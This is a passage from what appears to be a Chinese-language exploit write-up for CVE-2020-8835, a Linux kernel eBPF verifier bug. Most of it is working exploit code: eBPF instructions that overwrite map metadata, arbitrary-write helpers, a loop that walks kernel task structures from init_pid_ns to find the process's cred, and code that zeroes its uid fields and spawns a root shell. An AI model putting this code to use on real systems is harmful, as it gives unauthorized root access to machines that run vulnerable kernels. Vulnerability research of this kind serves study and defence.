BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xec), // r6 = r6*0xec
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 -= r6; r7 = &map.max_entries
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, -1), // *(r7 + 0) = -1
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xe4), // r8 *= 0xe4
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 -= r8; r7 = &map.spin_lock_off
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0), // map.spin_lock_off = 0
BPF_EXIT_INSN(),任意地址写的方法
void write32(size_t addr, uint32_t data)
{
uint64_t key = 0;
data -= 1;
if (bpf_update_elem(mapfd, &key, &data, addr)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void write64(size_t addr, size_t data)
{
uint32_t lo = data & 0xffffffff;
uint32_t hi = (data & 0xffffffff00000000) >> 32;
uint64_t key = 0;
write32(addr, lo);
write32(addr+4, hi);
}
泄漏task_strcut cred
init_pid_ns命名空间的保存着系统所有的进程的task结构，先泄漏init_pid_ns地址（根据之前的内核基地址+偏移计算），再根据任意地址读获取task地址，遍历列表得到指定进程的task结构地址
// Step 4: Leak task_struct
#define INIT_PID_NS 0x111
size_t init_pid_ns = linux_base + INIT_PID_NS;
printf("init_pid_ns: 0x%llx\n", init_pid_ns);
// get current pid
pid_t pid = getpid();
size_t cred_addr = 0;
size_t task_addr = read64(init_pid_ns + 0x30); // task_struct*
// search curret process's task_struct->cred
while(1){
pid_t p = read64(task_addr + 0x908); // get task_struct's pid
printf("iter pid: %d...\n", p);
if(pid == p){
printf("got target cred!\n");
cred_addr = read64(task_addr + 0xac8);
break;
}
else{
// task_struct = task_struct->next
task_addr = read64(task_addr + 0x808) - 0x808;
}
}
LPE
在成功泄漏进程cred地址后，只需要利用构造的任意地址写，完成修改cred即可提权
// Step 7: overwrite cred...
clear_btf();
update_elem(0, 0);
update_elem(1, 3); // option = 3 prepare for attr write
update_elem(2, values_addr + 0x80); // *(&ops) = value_addr + 0x80(fake_ops)
write_msg();
write32(cred_addr+4, 0);
write32(cred_addr+8, 0);
write32(cred_addr+12, 0);
write32(cred_addr+16, 0);
if(getuid() == 0){
puts("Spawn shell;");
system("/bin/sh");
}
return 0;
参考
cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
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